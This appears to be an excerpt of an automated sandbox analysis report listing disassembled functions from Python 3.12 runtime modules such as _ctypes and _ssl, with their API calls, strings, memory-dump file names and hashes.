Part of subcall function 00007FFE13383EA8: PyType_IsSubtype.PYTHON312(?,?,?,?,00007FFE13381358), ref: 00007FFE13383EC1

PyUnicode_AsUTF8.PYTHON312 ref: 00007FFE1338CBBA
strchr.VCRUNTIME140 ref: 00007FFE1338CBCA
PyErr_Format.PYTHON312 ref: 00007FFE1338CBFD

Strings

sPzUZXO, xrefs: 00007FFE1338CBC0
cast() argument 2 must be a pointer type, not %s, xrefs: 00007FFE1338CBF3

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_FormatSubtypeType_Unicode_strchr
String ID: cast() argument 2 must be a pointer type, not %s$sPzUZXO
API String ID: 3500358371-1038790478
Opcode ID: 46cee9dcdfc8708554a19508a6b7aac3c9b3a7fcc771ea81b4962d1b55a9a7ca
Instruction ID: 81152748406dd5abd48844fd3594a642648c12cc9db732bb62032a7a92829f12
Opcode Fuzzy Hash: 46cee9dcdfc8708554a19508a6b7aac3c9b3a7fcc771ea81b4962d1b55a9a7ca
Instruction Fuzzy Hash: C4115B61A09E4398EF049B17D44027C63A1AF74B74F4441F9C92E66A70DF2CE489C308

Function 00007FFE13385B0C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

PyDict_DelItem.PYTHON312 ref: 00007FFE13385B27
_Py_Dealloc.PYTHON312 ref: 00007FFE13385B4F
_Py_Dealloc.PYTHON312 ref: 00007FFE13385B7B
_PyErr_WriteUnraisableMsg.PYTHON312 ref: 00007FFE13389C27

Strings

on calling _ctypes.DictRemover, xrefs: 00007FFE13389C20

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dealloc$Dict_Err_ItemUnraisableWrite
String ID: on calling _ctypes.DictRemover
API String ID: 2766432985-2232269487
Opcode ID: cadf3d3bf8a2ea577eaf32de4434267d0a303d4722672ab8e714e489104e2a12
Instruction ID: b66edb2f3af8788c98d1452da88744230f052f6b2910961503b7820013b321f5
Opcode Fuzzy Hash: cadf3d3bf8a2ea577eaf32de4434267d0a303d4722672ab8e714e489104e2a12
Instruction Fuzzy Hash: 6B11FE25D0AD02C9FF5A8F2A945433D23A1EF74B75F1846F5C52E669F88F2DE4918308

Function 00007FFE1338BC6C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

PyUnicode_FromFormat.PYTHON312 ref: 00007FFE1338BC9B
PyUnicode_FromFormat.PYTHON312 ref: 00007FFE1338BCCD
_Py_Dealloc.PYTHON312 ref: 00007FFE1338BCE4

Strings

%s(%R), xrefs: 00007FFE1338BCBF
<%s object at %p>, xrefs: 00007FFE1338BC94

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: FormatFromUnicode_$Dealloc
String ID: %s(%R)$<%s object at %p>
API String ID: 1714529502-296555854
Opcode ID: 8ba2fa4311e3710089bfc388732112b874e273803fccf2b36784e8483055cc57
Instruction ID: 6d29abb71b4385a9447a906ac37ac0602ca67eb80d8a0318042bbb1ec1481cb5
Opcode Fuzzy Hash: 8ba2fa4311e3710089bfc388732112b874e273803fccf2b36784e8483055cc57
Instruction Fuzzy Hash: 9E016DA2A08E42C9EE189B17D9501696375FB68FE0F0491B1DA2E27BB4CF3CE4D4C304

Function 00007FFE13385298 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON312(?,?,?,00007FFE13385280), ref: 00007FFE133852AC
PyDict_New.PYTHON312(?,?,?,00007FFE13385280), ref: 00007FFE133852C0
PyErr_NewException.PYTHON312(?,?,?,00007FFE13385280), ref: 00007FFE133852DE

Part of subcall function 00007FFE1338531C: PyType_FromMetaclass.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE1338534A
Part of subcall function 00007FFE1338531C: PyType_FromMetaclass.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE1338536F
Part of subcall function 00007FFE1338531C: PyType_Ready.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE1338538F
Part of subcall function 00007FFE1338531C: PyType_Ready.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE133853B2
Part of subcall function 00007FFE1338531C: PyType_Ready.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE133853D8
Part of subcall function 00007FFE1338531C: PyType_Ready.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE133853FE
Part of subcall function 00007FFE1338531C: PyType_Ready.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE13385424
Part of subcall function 00007FFE1338531C: PyType_Ready.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE1338544A
Part of subcall function 00007FFE1338531C: PyType_Ready.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE13385470
Part of subcall function 00007FFE1338531C: PyType_Ready.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE13385496
Part of subcall function 00007FFE1338531C: PyModule_AddType.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE133854BC
Part of subcall function 00007FFE1338531C: PyModule_AddType.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE133854E2
Part of subcall function 00007FFE1338531C: PyModule_AddType.PYTHON312(?,?,00000000,00007FFE133852F8,?,?,?,00007FFE13385280), ref: 00007FFE13385508

Part of subcall function 00007FFE1338563C: PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE1338566D

Strings

_unpickle, xrefs: 00007FFE133852A2
ctypes.ArgumentError, xrefs: 00007FFE133852D5

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Type_$Ready$Module_$Type$FromMetaclass$AttrDict_Err_ExceptionObjectObject_String
String ID: _unpickle$ctypes.ArgumentError
API String ID: 3834246302-165408235
Opcode ID: 75ec231e8c9257ef98cc8c15c840df1ce48f509c37d9587edef7ed3f1b95347f
Instruction ID: 03e7d34dd66681bce0e16c0b2d26eec1f0bb0e1d4ce01293d970e864f21a6e40
Opcode Fuzzy Hash: 75ec231e8c9257ef98cc8c15c840df1ce48f509c37d9587edef7ed3f1b95347f
Instruction Fuzzy Hash: 6A017521E19F02C9FA149727A48023C62956F687B4B4401F4D87E22AF5EFBCE4848718

Function 00007FFE11EC2010 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

OBJ_txt2obj.LIBCRYPTO-3 ref: 00007FFE11EC2030
PyModule_GetState.PYTHON312 ref: 00007FFE11EC2045

Part of subcall function 00007FFE11EC2078: OBJ_obj2nid.LIBCRYPTO-3(?,?,?,?,?,00007FFE11EC2056), ref: 00007FFE11EC209A
Part of subcall function 00007FFE11EC2078: OBJ_nid2sn.LIBCRYPTO-3(?,?,?,?,?,00007FFE11EC2056), ref: 00007FFE11EC20AC
Part of subcall function 00007FFE11EC2078: OBJ_nid2ln.LIBCRYPTO-3(?,?,?,?,?,00007FFE11EC2056), ref: 00007FFE11EC20B7
Part of subcall function 00007FFE11EC2078: _Py_BuildValue_SizeT.PYTHON312(?,?,?,?,?,00007FFE11EC2056), ref: 00007FFE11EC20E5

ASN1_OBJECT_free.LIBCRYPTO-3 ref: 00007FFE11EC205C
PyErr_Format.PYTHON312 ref: 00007FFE11EC39BE

Strings

unknown object '%.100s', xrefs: 00007FFE11EC39B1

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: BuildErr_FormatJ_nid2lnJ_nid2snJ_obj2nidJ_txt2objModule_SizeStateT_freeValue_
String ID: unknown object '%.100s'
API String ID: 2376969911-3113687063
Opcode ID: 4f419eb2a21d6b08ca2754835e6f07cd3d273da37a70c71d0d08a3a747956f7f
Instruction ID: 13291be8954b345e33f5f68ea1c43addfe165dd12d219eab0eba245c4f0622e1
Opcode Fuzzy Hash: 4f419eb2a21d6b08ca2754835e6f07cd3d273da37a70c71d0d08a3a747956f7f
Instruction Fuzzy Hash: ECF01D61B18E4281EF089BA7AD5423E9295BF8CFE0B888071DD0E47B38DE2EE4458740

Function 00007FFE11ECB004 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

X509_get_subject_name.LIBCRYPTO-3 ref: 00007FFE11ECB01E
PyType_GetModuleState.PYTHON312 ref: 00007FFE11ECB02A

Part of subcall function 00007FFE11ECAE40: BIO_s_mem.LIBCRYPTO-3 ref: 00007FFE11ECAE5A
Part of subcall function 00007FFE11ECAE40: BIO_new.LIBCRYPTO-3 ref: 00007FFE11ECAE63
Part of subcall function 00007FFE11ECAE40: PyErr_SetString.PYTHON312 ref: 00007FFE11ECAE84

PyUnicode_FromFormat.PYTHON312 ref: 00007FFE11ECB055
_Py_Dealloc.PYTHON312 ref: 00007FFE11ECB06C

Strings

<%s '%U'>, xrefs: 00007FFE11ECB047

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: DeallocErr_FormatFromModuleO_newO_s_memStateStringType_Unicode_X509_get_subject_name
String ID: <%s '%U'>
API String ID: 652521511-3496504151
Opcode ID: 50b141ed826700b23b6a66b8d43da9fffa3efaedf13ddab88eceafe6ff763c10
Instruction ID: 3beb0f662bef79b57c13ff3aaec8cc8becaa755735241d7444eb6eff5d9b5f35
Opcode Fuzzy Hash: 50b141ed826700b23b6a66b8d43da9fffa3efaedf13ddab88eceafe6ff763c10
Instruction Fuzzy Hash: 89012C21A09E82C1EF048B93ED4426AA369FB48FE0B885070DE5E07775DF3EE4818340

Function 00007FFE1338D420 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

PySys_GetObject.PYTHON312 ref: 00007FFE1338D454
PyOS_vsnprintf.PYTHON312 ref: 00007FFE1338D477
PyFile_WriteString.PYTHON312 ref: 00007FFE1338D493
PyErr_Print.PYTHON312 ref: 00007FFE1338D499

Strings

stderr, xrefs: 00007FFE1338D44D

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_File_ObjectPrintS_vsnprintfStringSys_Write
String ID: stderr
API String ID: 1103062482-1769798200
Opcode ID: cfd2ac137428d3f704894795f71f5e68499487dd453c2ec18b32b53dee864b54
Instruction ID: 5a0d8fd6e73432482a543c258ddf701bca5f1781ff8f87cebc306f6359b30b18
Opcode Fuzzy Hash: cfd2ac137428d3f704894795f71f5e68499487dd453c2ec18b32b53dee864b54
Instruction Fuzzy Hash: C5017162A18F85D6EA208B12F4983A973B1FFA8B90F4401B5C95E27774DF3CE195C704

Function 00007FFE1339006C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON312 ref: 00007FFE13390099
memcpy.VCRUNTIME140 ref: 00007FFE133900BD
PyErr_Format.PYTHON312 ref: 00007FFE133900E1

Strings

expected bytes, %s found, xrefs: 00007FFE1339008B
bytes too long (%zd, maximum length %zd), xrefs: 00007FFE133900D7

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_Format$memcpy
String ID: bytes too long (%zd, maximum length %zd)$expected bytes, %s found
API String ID: 437140070-1985973764
Opcode ID: 34f1ef7627e6062496592155c2904e2dd62581801eb87d7b6cb5d42644819986
Instruction ID: a87c692626c1cd31d4469dd6621c3dd48b014278b7da2bbebe72a8b7eaf68bf8
Opcode Fuzzy Hash: 34f1ef7627e6062496592155c2904e2dd62581801eb87d7b6cb5d42644819986
Instruction Fuzzy Hash: 77014FA0E08E46CDFA009B57D4402786362EF75BB4F6112B6C97F772F1CE2C94998348

Function 00007FFE132110E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON312 ref: 00007FFE132110ED
PyUnicode_InternFromString.PYTHON312 ref: 00007FFE132110FD
PyModule_AddObjectRef.PYTHON312 ref: 00007FFE1321111F

Strings

error, xrefs: 00007FFE13211112
close, xrefs: 00007FFE132110F3

Memory Dump Source

Source File: 00000001.00000002.2090152512.00007FFE13211000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFE13210000, based on PE: true

Associated: 00000001.00000002.2090134264.00007FFE13210000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090170248.00007FFE13213000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090189636.00007FFE13215000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090208895.00007FFE13216000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13210000_file.jbxd

Similarity

API ID: Module_$FromInternObjectStateStringUnicode_
String ID: close$error
API String ID: 4029360594-371397155
Opcode ID: 0a630f88c3fb29b6303c131d10015d5f25b4110c9ff69da5c0eced729275bb56
Instruction ID: bb67e94d1701326240ae76fd17ba00fdee71ee65421e658407980fb22b4b086c
Opcode Fuzzy Hash: 0a630f88c3fb29b6303c131d10015d5f25b4110c9ff69da5c0eced729275bb56
Instruction Fuzzy Hash: BFF09A21A08E4795EE40AB26FA440696361BFA9FB4B144172CA1D623B2DF3CE458C300

Function 00007FFE1338E308 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE1338E050: PyType_IsSubtype.PYTHON312(?,?,?,?,00007FFE1338779A), ref: 00007FFE1338E064

PyErr_SetString.PYTHON312 ref: 00007FFE1338E32E
PySys_Audit.PYTHON312 ref: 00007FFE1338E34D

Strings

(O), xrefs: 00007FFE1338E33F
ctypes.addressof, xrefs: 00007FFE1338E346
invalid type, xrefs: 00007FFE1338E324

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: AuditErr_StringSubtypeSys_Type_
String ID: (O)$ctypes.addressof$invalid type
API String ID: 288810468-3457326693
Opcode ID: 713b1eca64e9d018d603df6b0b3aec18d9033ad469999224d4bac44667d18f79
Instruction ID: 628d91c72763870db430491f45390e901b7779ebd14a00901d702b0a27964cd5
Opcode Fuzzy Hash: 713b1eca64e9d018d603df6b0b3aec18d9033ad469999224d4bac44667d18f79
Instruction Fuzzy Hash: B8F05450F04D03D5EB04CB63F8800781361AF68BE4B4414B1C92EB7570EE2CD5958318

Function 00007FFE1338DD98 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON312 ref: 00007FFE1338DDB2
PySys_Audit.PYTHON312 ref: 00007FFE1338DDCF

Strings

(O), xrefs: 00007FFE1338DDC1
O&:PyObj_FromPtr, xrefs: 00007FFE1338DDA4
ctypes.PyObj_FromPtr, xrefs: 00007FFE1338DDC8

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Arg_AuditParseSys_Tuple
String ID: (O)$O&:PyObj_FromPtr$ctypes.PyObj_FromPtr
API String ID: 3491098224-1450318991
Opcode ID: 643f3e27a7e59f3c03a6411ce77ceee87fd01403913fe522faf5724e747abda6
Instruction ID: 252b564a9f8e7a514fa0cc540449af19da4129d38a9e0767d5ff41f559df1e9b
Opcode Fuzzy Hash: 643f3e27a7e59f3c03a6411ce77ceee87fd01403913fe522faf5724e747abda6
Instruction Fuzzy Hash: 19F03031A08D07DAEA048B53EC841B82361FF65B65B8001B6C52E77674DE2CE59AC708

Function 00007FFE1338402C Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON312(?,?,?,00007FFE133870FB), ref: 00007FFE133840AE
_Py_Dealloc.PYTHON312(?,?,?,00007FFE133870FB), ref: 00007FFE13388FD0

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: DeallocDict_Item
String ID:
API String ID: 1953171116-0
Opcode ID: af4aaf63b8466158adcac5568547def9a87ead499ff008a60825abc9923bd9d1
Instruction ID: eb31280dd82c392828565f1527e67b8a7ae83e5a692f8c7b06b20242a0c4e645
Opcode Fuzzy Hash: af4aaf63b8466158adcac5568547def9a87ead499ff008a60825abc9923bd9d1
Instruction Fuzzy Hash: CB316361D0DE42CDEA149B23A80027E6291AF65BA4F1447F8D96E76FB5DF3CE4818308

Function 00007FFE132127F8 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

__WSAFDIsSet.WS2_32 ref: 00007FFE1321281E
PyList_New.PYTHON312(00007FFDFB54D250,?,?,00007FFE132122E5), ref: 00007FFE13212844
__WSAFDIsSet.WS2_32 ref: 00007FFE13212870
PyList_SetItem.PYTHON312(?,?,00007FFE132122E5), ref: 00007FFE1321288A
_Py_Dealloc.PYTHON312(?,?,00007FFE132122E5), ref: 00007FFE132128D1

Memory Dump Source

Source File: 00000001.00000002.2090152512.00007FFE13211000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFE13210000, based on PE: true

Associated: 00000001.00000002.2090134264.00007FFE13210000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090170248.00007FFE13213000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090189636.00007FFE13215000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090208895.00007FFE13216000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13210000_file.jbxd

Similarity

API ID: List_$DeallocItem
String ID:
API String ID: 1559017468-0
Opcode ID: a3b86cd28f5a00db1039b6b37618db01fe58124a87f1d68f694451c2dc2a1ca4
Instruction ID: 9f50bd7c2f64c8121ffb20cc964fd39c2b0c5700a878e763406bf9755e9927b7
Opcode Fuzzy Hash: a3b86cd28f5a00db1039b6b37618db01fe58124a87f1d68f694451c2dc2a1ca4
Instruction Fuzzy Hash: A421D072A08B428AEB24AF13E6443A973A1FBA9BA0F444475CB4D63361DF7CE555C350

Function 00007FFE13381F00 Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

PyDict_Contains.PYTHON312 ref: 00007FFE13381F4C
PyDict_Update.PYTHON312 ref: 00007FFE13381F8A
_Py_Dealloc.PYTHON312 ref: 00007FFE13381FB2
PyDict_GetItemWithError.PYTHON312 ref: 00007FFE13381FF2
PyObject_SetAttr.PYTHON312 ref: 00007FFE13382011
PyErr_Occurred.PYTHON312 ref: 00007FFE13382032
_Py_Dealloc.PYTHON312 ref: 00007FFE133873C4

Part of subcall function 00007FFE133823D0: _PyThreadState_GetCurrent.PYTHON312(?,?,?,?,?,00007FFE13381F6C), ref: 00007FFE133823DD
Part of subcall function 00007FFE133823D0: _PyObject_MakeTpCall.PYTHON312 ref: 00007FFE1338241C

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dict_$DeallocObject_$AttrCallContainsCurrentErr_ErrorItemMakeOccurredState_ThreadUpdateWith
String ID:
API String ID: 2347184808-0
Opcode ID: 26c68df2cb246356867c3ff1a9ec1f0259ea4d98be21ae6d51d20a31d78c4d4f
Instruction ID: 60fc052cd7ed4440517d1dc23cd64e36c3ace7d4519b3fc5db2f1074b953cbcd
Opcode Fuzzy Hash: 26c68df2cb246356867c3ff1a9ec1f0259ea4d98be21ae6d51d20a31d78c4d4f
Instruction Fuzzy Hash: 2A315C31E09F0289EA454B17A84136D23A1FF64BE4F1442F5D96E66BB4DF7CE0918308

Function 00007FFE13384EE0 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FFE13384F63
_Py_Dealloc.PYTHON312 ref: 00007FFE13384F81
_Py_Dealloc.PYTHON312 ref: 00007FFE1338974E
_Py_Dealloc.PYTHON312 ref: 00007FFE1338975A

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

